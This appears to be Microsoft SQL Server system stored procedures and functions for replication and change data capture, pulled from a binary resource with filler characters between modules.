    declare @schname     nvarchar(140)
    declare @system_type_id int
    declare @colid smallint
    declare @colidstr nvarchar(5)
    declare @len smallint
    declare @prec smallint
    declare @scale int
    declare @isnullable tinyint
    declare @cMaxIndexLength int

    set @cMaxIndexLength= 900  -- max index column size in SQL 2000

    set nocount on
    
    -- Security check: dbo and sysadmin only
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        select 'a' = 'raiserror (''Error creating before image table'' , 16, -1)'
        return (1)
    end

    select @tablenick = max(nickname) from dbo.sysmergearticles where objid = @objid
    if @tablenick is null 
    begin
        select 'a' = 'raiserror (''Error creating before image table'' , 16, -1)'
        return (1)
    end
        
    -- create temp table to select the command text out of
    declare @tempcmd table (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

    set @command = 'create table dbo.' + quotename(@newname) + '('
    insert into @tempcmd (phase, cmdtext) values (1, @command)
    
    -- Loop over the columns and see which ones we include

    declare col_cursor CURSOR LOCAL FAST_FORWARD 
    for select  C.name,  type_name(C.user_type_id), type_name(C.system_type_id),
                    case when S.name<>'sys' and S.name<>'dbo'
                            then QUOTENAME(S.name)+'.' else '' end,
                   C.system_type_id, C.max_length, C.precision, C.scale, C.is_nullable, C.column_id 
    from sys.columns C
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id                   
    where C.object_id = @objid and C.is_computed <> 1 and C.user_type_id <> type_id('timestamp') order by C.column_id
    FOR READ ONLY
        
    open col_cursor
    fetch next from col_cursor into @colname, @typename, @base_typename, @schname, @system_type_id, @len, @prec, @scale, @isnullable, @colid
    while (@@fetch_status <> -1)
    begin
        set @include = 0
        
        if columnproperty( @objid, @colname , 'isrowguidcol')=1
        begin
            set @include = 1
        end
        else
        begin
            -- does updating this column change membership in a partial replica? 
            if exists (select * from dbo.sysmergearticles 
                where objid = @objid and sys.fn_MSisfilteredcolumn(subset_filterclause, @colname, @objid) = 1)
                set @include = 1
            else if exists (select * from dbo.sysmergesubsetfilters
                where art_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @objid) = 1)
                set @include = 1
            else if exists (select * from dbo.sysmergesubsetfilters
                where join_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @objid) = 1)
                set @include = 1
        end
        -- If we want this column, map its type and insert a row to temp table
        if @include = 1
        begin
            if ((@base_typename='nvarchar' or @base_typename='nchar') and @len <> -1) -- a unit of nchar takes 2 bytes
                set @len = @len/2
            exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale         
            if @@ERROR<>0 or @retcode<>0 goto Failure
            if (sys.fn_IsTypeBlob(@system_type_id, @len) = 0)
            begin
                select @colname = N'[' + replace(@colname, N']', N']]') + N']'
    
                if @isnullable = 1
                    set @command = @colname + ' ' + @schname + @typename + ' NULL, '
                else
                    set @command = @colname + ' ' + @schname + @typename + ' NOT NULL, '
                
                -- Insert the part of create table command for this column
                insert into @tempcmd (phase, cmdtext) values (1, @command)

                -- Insert a create index command if column is not too long
                if (@len <= @cMaxIndexLength)
                begin
                    set @colidstr =convert(nvarchar(4), @colid)
                    set @command = 'create index ' + quotename(@newname + '_' + @colidstr) + ' on ' + quotename(@newname) + ' (' + @colname + ') '
                    insert into @tempcmd (phase, cmdtext) values (2, @command)
                end
            end
        end
        /* Repeat the loop with next column */
        fetch next from col_cursor into @colname, @typename, @base_typename, @schname,  @system_type_id, @len, @prec, @scale, @isnullable, @colid
    end

    close col_cursor
    deallocate col_cursor

    -- Insert last column, generation
    set @command = 'generation bigint NOT NULL, system_delete bit default(0))
        '
    insert into @tempcmd (phase, cmdtext) values (1, @command)
    set @command = 'create clustered index ' + quotename(@newname + '_gen') + ' on ' + quotename(@newname) + '(generation) 
        '
    insert into @tempcmd (phase, cmdtext) values (2, @command)
        
    select cmdtext from @tempcmd order by phase, step
    --drop table @tempcmd

    return(0)
Failure:
    close col_cursor
    deallocate col_cursor
    return(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`z_
<dy%'0F  <8--
-- Name:	
--		fn_MSrepltranparsecmdtype
--			
-- Description: 
--		The function takes in a ins, upd or del article
--		command	and if valid returns one of the following:
--			N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL'
--
--		If the command is invalid then it returns NULL.
--
-- Security: 
--		DBO of publisher db
--
-- Returns: 	
--		nvarchar(255)
--
CREATE FUNCTION sys.fn_MSrepltranparsecmdtype
(
	@command nvarchar(255)
)
RETURNS nvarchar(255)
AS
BEGIN
	DECLARE @command_type sysname

	SELECT @command			= UPPER(LTRIM(RTRIM(@command)))
	SELECT @command_type	= LEFT(@command, 5)
	
	-- for N'', N'NONE', N'SQL' we expect a direct match and 
	-- thus we use the @command instead of @command_type ...
	IF @command in (N'', N'NONE', N'SQL')
	BEGIN
		RETURN @command
	END

	-- if call is specified then there must be at least 6
	-- chars in @command (needs an sp name following type)
	IF @command_type = N'CALL '
		AND LEN(@command) >= 6
	BEGIN
		RETURN @command_type
	END

	-- if call is specified then there must be at least 7
	-- chars in @command (needs an sp name following type)
	IF @command_type IN (N'XCALL', N'MCALL', N'VCALL', N'SCALL')
		AND LEN(@command) >= 7
	BEGIN
		RETURN @command_type
	END

	RETURN NULL
END
0@ 8
create procedure sys.sp_MSenumschemachange(
    @pubid              uniqueidentifier,
    @schemaversion      int,
    @compatlevel        int = 7000000, -- default=SPHINX
    @AlterTableOnly     bit = 0,
    @invalidateupload_schemachanges_for_ssce bit = 0,
    @filter_skipped_schemachanges bit = 0
    )
as  
begin
    set nocount on
    declare @retcode int

    select @retcode = 0
    
    if ({ fn ISPALUSER(@pubid) } <> 1)
    begin
        RAISERROR (14126, 11, -1)
        return (1)
    end

    -- Delegate call to the appropriate sp that
    -- handles the given compatibility-level  
    
    if @compatlevel >= 10000000
    begin
        exec @retcode = sys.sp_MSenumschemachange_100 @pubid = @pubid,
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion,
                                                     @invalidateupload_schemachanges_for_ssce = @invalidateupload_schemachanges_for_ssce,
                                                     @filter_skipped_schemachanges = @filter_skipped_schemachanges
                                                     
    end
    else if @compatlevel >= 9000000
    begin
        exec @retcode = sys.sp_MSenumschemachange_90 @pubid = @pubid,
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion,
                                                     @invalidateupload_schemachanges_for_ssce = @invalidateupload_schemachanges_for_ssce,
                                                     @filter_skipped_schemachanges = @filter_skipped_schemachanges
                                                     
    end
    else if @compatlevel >= 8000500 -- this value stands for 80sp3 
    begin
        exec @retcode = sp_MSenumschemachange_80sp3 @pubid = @pubid, 
                                                                                            @AlterTableOnly = @AlterTableOnly,
                                                    @schemaversion = @schemaversion

    end    
    else if @compatlevel > 7000200 --this value standing for 70SP2
    begin
        exec @retcode = sys.sp_MSenumschemachange_80 @pubid = @pubid, 
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion
    end
    else
    begin
        exec @retcode = sys.sp_MSenumschemachange_70 @pubid = @pubid,
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion,
                                                     @compatlevel=@compatlevel
    end

    return @retcode
end
0## Q8create function [sys].[fn_cdc_is_range_valid]				
(														
	@from_lsn	binary(10),
	@to_lsn		binary(10),
	@capture_instance sysname						
)
returns bit
with execute as 'dbo'														
as													
begin
	declare @max_lsn binary(10)
		
	if @from_lsn is null or @to_lsn is null or @capture_instance is null
	begin
		return 0
	end
		
	if @from_lsn > @to_lsn
	begin
		return 0
	end		

	select @max_lsn = max(start_lsn)
	from [cdc].[lsn_time_mapping]
		
	if @max_lsn is null
	begin
		return 0
	end		

	if exists
	(
		select start_lsn
		from [cdc].[change_tables] WITH (REPEATABLEREAD) 
		where capture_instance = rtrim(@capture_instance)
		and  (@from_lsn >= start_lsn)
		and  (@to_lsn   <= @max_lsn)
	)
	begin
		return 1
	end

	return 0							
end																
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E`y<9z)	=0 e8create procedure sys.sp_MShelpalterbeforetable
    @objid int,
    @biname sysname
AS
    declare @command nvarchar(4000)
    declare @retcode int
    declare @include int
    declare @tablenick int
    declare @colname nvarchar(258)
    declare @typename nvarchar(258)
    declare @base_typename sysname
    declare @schname  nvarchar(259)
    declare @system_type_id int
    declare @colid smallint
    declare @colidstr nvarchar(5)
    declare @len smallint
    declare @prec smallint
    declare @scale int
    declare @isnullable tinyint
    declare @bi_objid int
    set nocount on
    declare @cMaxIndexLength int

    set @cMaxIndexLength= 900  -- max index column size in SQL 2000

    select @tablenick = max(nickname) from dbo.sysmergearticles where objid = @objid
    if @tablenick is null 
        return (1)

    select @bi_objid = OBJECT_ID(quotename(@biname))       

    declare @role sysname
    declare @pubid uniqueidentifier
    declare publications_list CURSOR LOCAL FAST_FORWARD 
        for select p.pubid from dbo.sysmergearticles a, dbo.sysmergepublications p 
            where objid = @objid and p.pubid = a.pubid and UPPER(p.publisher) = UPPER(publishingservername()) collate database_default and p.publisher_db = db_name()

    open publications_list
    fetch publications_list into @pubid
    while @@fetch_status <> -1
    begin
        exec @retcode = dbo.sp_MSrepl_FixPALRole @pubid, @role output
        if @retcode <> 0 or @@ERROR<>0 
            goto errlabel
       
	   	select @command = 'grant select (system_delete, generation), update(generation), delete, insert on ' + quotename(@biname) + ' to ' + quotename(@role)
        exec (@command)
        if @@ERROR<>0 
            goto errlabel

        fetch publications_list into @pubid
    end
    close publications_list
    deallocate publications_list

    
    -- Loop over the columns and see which ones we include
    declare col_cursor CURSOR LOCAL FAST_FORWARD 
    for select  C.name,  type_name(C.user_type_id), type_name(C.system_type_id),
                    case when S.name<>'sys' and S.name<>'dbo'
                            then QUOTENAME(S.name)+'.' else '' end,
                   C.system_type_id, C.max_length, C.precision, C.scale, C.is_nullable, C.column_id 
    from sys.columns C
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id                   
    where C.object_id = @objid and C.is_computed <> 1 and C.user_type_id <> type_id('timestamp') order by C.column_id
    FOR READ ONLY
    
    open col_cursor
    fetch next from col_cursor into @colname, @typename, @base_typename, @schname, @system_type_id, @len, @prec, @scale, @isnullable, @colid
    while (@@fetch_status <> -1)
    begin
        set @include = 0
        
        if not exists (select * from sys.columns where object_id = @bi_objid and QUOTENAME(name) = QUOTENAME('system_delete'))
        begin
            set @command = 'alter table ' + quotename(@biname) + ' ADD system_delete bit default(0) '
            execute ( @command )
            if @@ERROR<>0 
                goto errlabel

            /* grant select to system_delete column */
			set @command = 'grant select (system_delete) on ' + quotename(@biname) + ' to public'
            exec (@command)
            if @@ERROR<>0 
                goto errlabel                
        end

        -- Is this column already in the before image table?
        if exists (select * from sys.columns where object_id = @bi_objid and name = @colname)
        begin
            goto fetchnext
        end

        -- does updating this column change membership in a partial replica? 
        if exists (select * from dbo.sysmergearticles 
            where objid = @objid and sys.fn_MSisfilteredcolumn(subset_filterclause, @colname, @objid) = 1)
            set @include = 1
        else if exists (select * from dbo.sysmergesubsetfilters
            where art_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @objid) = 1)
            set @include = 1
        else if exists (select * from dbo.sysmergesubsetfilters
            where join_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @objid) = 1)
            set @include = 1

        -- If we want this column, map its type and insert a row to temp table
        if @include <> 1
            begin
            goto fetchnext
            end
        if ((@base_typename='nvarchar' or @base_typename='nchar') and @len <> -1) -- a unit of nchar takes 2 bytes
            set @len = @len/2
        exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale
        if @@ERROR<>0 or @retcode<>0 
            goto errlabel
        if (sys.fn_IsTypeBlob(@system_type_id, @len) = 0)
        begin
            set @colname = QUOTENAME(@colname)
    
            -- Always make columns nullable when we add them because we might have
            -- existing rows in the before image table.

            set @command = 'alter table ' + quotename(@biname) + ' ADD ' + @colname + ' ' + @schname + @typename + ' NULL '
        
            execute ( @command )
            if @@ERROR<>0 goto errlabel

            -- Insert a create index command if column is not too long
            if (@len <= @cMaxIndexLength)
            begin
                set @colidstr =convert(nvarchar(4), @colid)
                set @command = 'create index ' + quotename(@biname + '_' + @colidstr) + ' on ' + quotename(@biname) + ' (' + @colname + ')'
                execute ( @command )
                if @@ERROR<>0 goto errlabel
            end
        end
                            
fetchnext:
        /* Repeat the loop with next column */
        fetch next from col_cursor into @colname, @typename, @base_typename, @schname, @system_type_id, @len, @prec, @scale, @isnullable, @colid
        end
    close col_cursor
    deallocate col_cursor   
    return 0
errlabel:
    close col_cursor
    deallocate col_cursor   
    return 1

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<{	aU0 6@ 8
--
-- Name: sp_enumcustomresolvers
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_enumcustomresolvers
--    @distributor parameter will be removed in the next version.      
    @distributor     sysname = NULL
    AS
    SET NOCOUNT ON

    declare @distribution_db sysname
    declare @distproc nvarchar(1000)
    declare @retcode int
    declare @regkey nvarchar(260)
    declare @stmt     nvarchar(1000)

    select @retcode = 0
 
    /*
    ** Security Check.
    ** Only the dbo needs to call this procedure
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Get the distributor 
    */
    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb = @distribution_db OUTPUT
    IF @@error <> 0 OR @retcode <> 0 OR @distributor IS NULL
    BEGIN
        RAISERROR (20036, 16, -1)
        RETURN (1)
    END

    /*
    ** For a local distributor, query the registry directly
    */
            
    if LOWER(@distributor) = LOWER(@@servername) and db_name() = @distribution_db
    begin

       /*We use the temp table because we want to return article_resolver value for 
            dotnet_assembly_name column for the non-dotnet resolvers, to be consistant
            with Yukon. In the underlying table, we just store NULL, since we will return NULL
            for this column in sp_lookupcustomresolver
       */
       create table #business_logic_handlers ( 
            article_resolver        nvarchar(255)   not null, 
            resolver_clsid          nvarchar(50)    not null, 
            is_dotnet_assembly      bit default 0, 
            dotnet_assembly_name    nvarchar(255)   null, 
            dotnet_class_name       nvarchar(255)   null
        )

        insert into #business_logic_handlers
        select * from dbo.MSmerge_articleresolver
        
        if @@ERROR<>0 return (1)        

        --now update the dotnet_assembly_name for non-dotnet resolvers
        update #business_logic_handlers
        set  dotnet_assembly_name = article_resolver
        where is_dotnet_assembly = 0          

        select * from #business_logic_handlers

        drop table #business_logic_handlers
    end
    /* 
    ** Since a downlevel publisher can connect to a remote distributor with a higher
    ** version, it is better to return the resolver list using the RPC as opposed
    ** to reading regkeys directly since they might change from version to version.
    */
    else
    begin
        select @distproc = quotename(RTRIM(@distributor)) + '.' + quotename(RTRIM(@distribution_db)) + '.sys.sp_enumcustomresolvers'
        exec @distproc 
        if @@ERROR<> 0 
            return (1)
    end

    RETURN (0)
0!9@ Y8create procedure sys.sp_disableagentoffload (
    @job_id         VARBINARY(16),
    @offloadserver  sysname = NULL,
    @agent_type     sysname = NULL -- 'distribution' or 'merge', case insensitive
) AS
    SET NOCOUNT ON
    
    RAISERROR(21023, 16, -1, 'sp_disableagentoffload')
    
    RETURN (1)
0? T8create procedure sys.sp_MSgetbeforetableinsert
    @objid int,
    @inscommand nvarchar(2000) output
AS
    declare @before_objid int
    declare @before_name sysname
    declare @collist nvarchar(1000)
    declare @colname sysname
    declare @guidstr nvarchar(36)
    declare @beforeview sysname
    declare @retcode int
    declare @artid uniqueidentifier

    -- Do we have a before table?
    select @before_objid = max(before_image_objid) from  dbo.sysmergearticles where objid = @objid and
            before_image_objid is not null
    select @before_name = OBJECT_NAME(@before_objid)

    if @before_name is null
    begin
        set @inscommand = ''
        return 0
    end

    select @artid = artid from sysmergearticles where objid = @objid
    exec @retcode=sp_MSguidtostr @artid, @guidstr out
    if @retcode<>0 or @@ERROR<>0 return (1)

    set @beforeview = 'MSmerge_bivw_' + @guidstr

    set @collist = ''
    -- Loop over columns to make the column list for the insert / select command
    declare col_cursor CURSOR LOCAL FAST_FORWARD for select name from sys.columns
    where object_id = @before_objid and name <> 'generation' and name <> 'system_delete' order by column_id
    FOR READ ONLY

    open col_cursor

    fetch next from col_cursor into @colname
    while (@@fetch_status <> -1)
    begin
        set @collist = @collist + QUOTENAME(@colname) + ', '
        fetch next from col_cursor into @colname
    end
    close col_cursor
    deallocate col_cursor

    -- Our list has all of the columns except generation since that gets set to a local variable
    -- Make the insert command
    set @inscommand = 'insert into ' + QUOTENAME(@beforeview) + ' ( ' + @collist +
        ' generation) select ' + @collist + ' @newgen from deleted'

    return 0
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
I`=<	Q|B,09> 	8create FUNCTION sys.fn_MSrepl_dependUDT 
(	
	@objid int
	,@schema_option bigint
	,@tran_artid int
)
returns bit
as
begin
declare @dependUDT bit
	if ((@schema_option & 0x000000B000000020) <> 0)
		and exists(select type collate database_default, 
						computed_check_pk.name, 
						column_id, 
						computed_check_pk.user_type_id, 
						depend_column_id 
				from
			(
			select 'type' = computed_check.type collate database_default, 
						'name' = computed_check.name collate database_default, 
						'column_id' = case computed_check.column_id when 0 then depend_udt.column_id else computed_check.column_id end, 
						'user_type_id' = depend_udt.user_type_id, 
						'depend_column_id' = depend_udt.column_id 
			from 
					(
					select 'type' = 'check', object_id, name, 'column_id' = 0 from sys.check_constraints where parent_object_id = @objid
					union
					select 'type' = 'computed', object_id, name, column_id from sys.computed_columns where object_id = @objid
					) as computed_check
					join (
						select  ssd.object_id as constraint_object_id, 
									sc.name, 
									sc.user_type_id, 
									sc.column_id, 
									sc.system_type_id, 
									ssd.column_id as parent_column_id
						from    sys.sql_dependencies ssd
						join    sys.columns sc on ssd.referenced_major_id = sc.object_id and ssd.referenced_minor_id = sc.column_id
						where sc.object_id = @objid 
						) as depend_udt
					on computed_check.object_id = depend_udt.constraint_object_id
					and (computed_check.column_id = depend_udt.parent_column_id 	-- computed columns
							or computed_check.column_id = 0												-- check constraints
							)
			union 
			select 'type' = type collate database_default, 
						'name' = fmcc.constraint_column_name collate database_default, 
						'column_id' = fmcc.constraint_column_id, 
						'user_type_id' = sc.user_type_id ,
						'depend_column_id' = fmcc.constraint_column_id
					from 
						sys.fn_MSconstraint_columns (@objid) fmcc
						join sys.columns sc on sc.name = fmcc.constraint_column_name collate database_default
				where sc.object_id = @objid and type in ('PK', 'D')
			) as computed_check_pk
			join sys.types typ on typ.user_type_id = computed_check_pk.user_type_id 
			join sysarticlecolumns sac on computed_check_pk.column_id = sac.colid 
			where typ.system_type_id = 240 and sac.artid = @tran_artid)
		set @dependUDT = 1
	else 
		set @dependUDT = 0

	return (@dependUDT)
end
0{H> 8create procedure sys.sp_refreshsqlmodule_internal
    @name		nvarchar(776),
    @namespace  nvarchar(20), -- OBJECT, SERVER_DDL_TRIGGER, DATABASE_DDL_TRIGGER
    @viewonly	bit
as
	-- DECLARE VARIABLES
	declare	@objid	int
	declare @type	char(2)
	declare @ns 	int

	-- ============================================================
	-- DEVNOTE:
	--	x_eonc_TrgOnServer		= 20,	// Namespace for Triggers on the Server
	--	x_eonc_TrgOnDatabase	= 21,	// Namespace for Triggers on Databases
	--  x_eonc_Standard			= 0		// Standard Namespace
	-- ============================================================
	set @ns = case lower(@namespace collate Latin1_General_CI_AS)
		when N'object' then 0
		when N'server_ddl_trigger' then 20
		when N'database_ddl_trigger' then 21
		else -1
		end

	-- DDL Trigger must be a one part name
	if(@ns = 20 or @ns = 21)
	begin
		if(parsename(@name, 2) is not null or parsename(@name, 3) is not null or parsename(@name, 4) is not null)
		begin
			raiserror(15165,-1, -1, @name)
			return @@error
		end
	end

	-- RESOLVE GIVEN OBJECT NAME --
	if(@ns = 0) -- Object
	begin 
		select @objid = m.object_id, @type = o.type from sys.sql_modules m 
		join sys.objects o on o.object_id = m.object_id
		where o.object_id = object_id(@name, 'local')
			and o.type in ('P', 'FN', 'IF', 'TF', 'V', 'TR')
			and m.is_schema_bound = 0
			and (@viewonly = 0 or o.type = 'V')
	end
	else if(@ns = 21 and @viewonly = 0) -- Database DDL trigger
	begin
		select @objid = t.object_id, @type = t.type from sys.triggers t where t.name = parsename(@name, 1) -- handle quoted identifier
	end
	else if(@ns = 20 and @viewonly = 0) -- Server DDL trigger
	begin
		select @objid = t.object_id, @type = t.type from sys.server_triggers t where t.name = parsename(@name, 1) -- handle quoted identifier
	end
	
	if @objid is null
	begin
		raiserror(15165,-1,-1,@name)
		return @@error
	end
	
	BEGIN TRANSACTION

	BEGIN TRY
	
	-- LOCK OBJECT & CHECK PERMISSION --
	if(@type = 'TR')
		EXEC %%TriggerEx(MultiName = @name).LockMatchID(ID = @objid, Exclusive = 1, NameSpaceClass = @ns)
	else
		EXEC %%Object(MultiName = @name).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)

	-- REFRESH MODULE DEFINITION --
	
	EXEC %%Module(ID = @objid).Refresh(NameSpaceClass = @ns)
	END TRY
	
	BEGIN CATCH
		-- If the refresh raised an error it may jump to a t-sql catch block installed by the caller
		-- The caller doesn't expect to handle a transaction since he may not have started one
		-- So handle the transaction we started inside the proc before jumping to a user catch block
		-- This is a systemic problem with many system stored procs. However, we won't try to fix all
		-- of them. Only fix the ones that the user may be expected to use in a loop such as this one.
		if (xact_state() <> 0) ROLLBACK TRAN;
		THROW
	END CATCH
		
	COMMIT TRANSACTION

	-- RETURN SUCCESS
	RETURN 0 -- sp_refreshsqlmodule_internal
